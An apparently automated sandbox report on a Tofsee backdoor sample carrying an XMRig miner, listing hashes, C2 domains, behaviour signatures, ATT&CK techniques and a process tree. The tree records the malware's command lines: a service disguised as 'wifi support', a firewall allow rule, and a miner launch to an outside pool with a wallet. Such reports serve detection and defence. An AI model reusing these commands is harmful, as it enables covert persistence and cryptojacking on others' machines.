Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    24-01-2022 15:52

General

  • Target

    fa50231fb74e77f409b56b859dec8b96e82c8a57986c2657f8f64cbe1764c7a5.exe

  • Size

    281KB

  • MD5

    0f1f64ffc74f34685bc5a3a617dada5a

  • SHA1

    f748e154b28ce6bf4dfa6943f8153c0c044bf2c6

  • SHA256

    fa50231fb74e77f409b56b859dec8b96e82c8a57986c2657f8f64cbe1764c7a5

  • SHA512

    8b6df5379df6834ef6b7af28e2576f7dafb6c7b7c8190a386b4d2b03c66f1ec290aba5fcdda63461ba3294bb4e20f1bfff64ef7dff5381c877b571ae641c1cbc

Malware Config

Extracted

Family

tofsee

C2

patmushta.info

ovicrush.cn

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Modifies data under HKEY_USERS 49 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fa50231fb74e77f409b56b859dec8b96e82c8a57986c2657f8f64cbe1764c7a5.exe
    "C:\Users\Admin\AppData\Local\Temp\fa50231fb74e77f409b56b859dec8b96e82c8a57986c2657f8f64cbe1764c7a5.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1304
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qpdajhbf\
      2⤵
        PID:2408
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\cbqdgbcw.exe" C:\Windows\SysWOW64\qpdajhbf\
        2⤵
          PID:3860
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create qpdajhbf binPath= "C:\Windows\SysWOW64\qpdajhbf\cbqdgbcw.exe /d\"C:\Users\Admin\AppData\Local\Temp\fa50231fb74e77f409b56b859dec8b96e82c8a57986c2657f8f64cbe1764c7a5.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:660
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description qpdajhbf "wifi internet conection"
            2⤵
              PID:1388
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start qpdajhbf
              2⤵
                PID:3356
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2748
              • C:\Windows\System32\WaaSMedicAgent.exe
                C:\Windows\System32\WaaSMedicAgent.exe 0ca8f391f7a8bd373b2ddf34fa26d7c9 /fHnhOTCGk2FIQ1skF4/hw.0.1.0.0.0
                1⤵
                • Modifies data under HKEY_USERS
                PID:2284
              • C:\Windows\SysWOW64\qpdajhbf\cbqdgbcw.exe
                C:\Windows\SysWOW64\qpdajhbf\cbqdgbcw.exe /d"C:\Users\Admin\AppData\Local\Temp\fa50231fb74e77f409b56b859dec8b96e82c8a57986c2657f8f64cbe1764c7a5.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3932
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1284
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3936
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3932 -s 512
                  2⤵
                  • Program crash
                  PID:2472
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3932 -ip 3932
                1⤵
                  PID:2128
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
                  1⤵
                    PID:4004
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k wusvcs -p
                    1⤵
                      PID:3228

                    Network

                    MITRE ATT&CK Matrix ATT&CK v6

                    Persistence

                    New Service

                    1
                    T1050

                    Modify Existing Service

                    1
                    T1031

                    Registry Run Keys / Startup Folder

                    1
                    T1060

                    Privilege Escalation

                    New Service

                    1
                    T1050

                    Defense Evasion

                    Modify Registry

                    1
                    T1112

                    Discovery

                    Query Registry

                    1
                    T1012

                    System Information Discovery

                    2
                    T1082

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • C:\Users\Admin\AppData\Local\Temp\cbqdgbcw.exe
                      MD5

                      262a8ecaf135a48947d2f418dd832496

                      SHA1

                      899fe0812fe4cbe123a1efe10978916bf7af2ffd

                      SHA256

                      354af85b6c6993058ba0cb08c174472b45dd3cda3d19bbf3c0cadda21ffd4fb0

                      SHA512

                      8cbbd6935593747c033ae96ad89bfe4bfb153d0a9d64050d7e06fd2b47308eb61c997debe25a074172b644b90073939e5fc5657d3a6008a0c04cf7520646fda6

                    • C:\Windows\SysWOW64\qpdajhbf\cbqdgbcw.exe
                      MD5

                      262a8ecaf135a48947d2f418dd832496

                      SHA1

                      899fe0812fe4cbe123a1efe10978916bf7af2ffd

                      SHA256

                      354af85b6c6993058ba0cb08c174472b45dd3cda3d19bbf3c0cadda21ffd4fb0

                      SHA512

                      8cbbd6935593747c033ae96ad89bfe4bfb153d0a9d64050d7e06fd2b47308eb61c997debe25a074172b644b90073939e5fc5657d3a6008a0c04cf7520646fda6

                    • memory/1284-146-0x00000000029E0000-0x00000000029F0000-memory.dmp
                      Filesize

                      64KB

                    • memory/1284-138-0x00000000003E0000-0x00000000003F5000-memory.dmp
                      Filesize

                      84KB

                    • memory/1284-142-0x0000000004800000-0x0000000004A0F000-memory.dmp
                      Filesize

                      2.1MB

                    • memory/1284-144-0x0000000000940000-0x0000000000946000-memory.dmp
                      Filesize

                      24KB

                    • memory/1284-148-0x00000000039F0000-0x00000000039F5000-memory.dmp
                      Filesize

                      20KB

                    • memory/1284-150-0x0000000009800000-0x0000000009C0B000-memory.dmp
                      Filesize

                      4.0MB

                    • memory/1284-152-0x0000000004CD0000-0x0000000004CD7000-memory.dmp
                      Filesize

                      28KB

                    • memory/1304-135-0x0000000000400000-0x000000000044E000-memory.dmp
                      Filesize

                      312KB

                    • memory/1304-134-0x0000000000480000-0x0000000000493000-memory.dmp
                      Filesize

                      76KB

                    • memory/1304-133-0x0000000000470000-0x000000000047D000-memory.dmp
                      Filesize

                      52KB

                    • memory/3932-141-0x0000000000400000-0x000000000044E000-memory.dmp
                      Filesize

                      312KB

                    • memory/3936-154-0x0000000000800000-0x00000000008F1000-memory.dmp
                      Filesize

                      964KB

                    • memory/3936-158-0x0000000000800000-0x00000000008F1000-memory.dmp
                      Filesize

                      964KB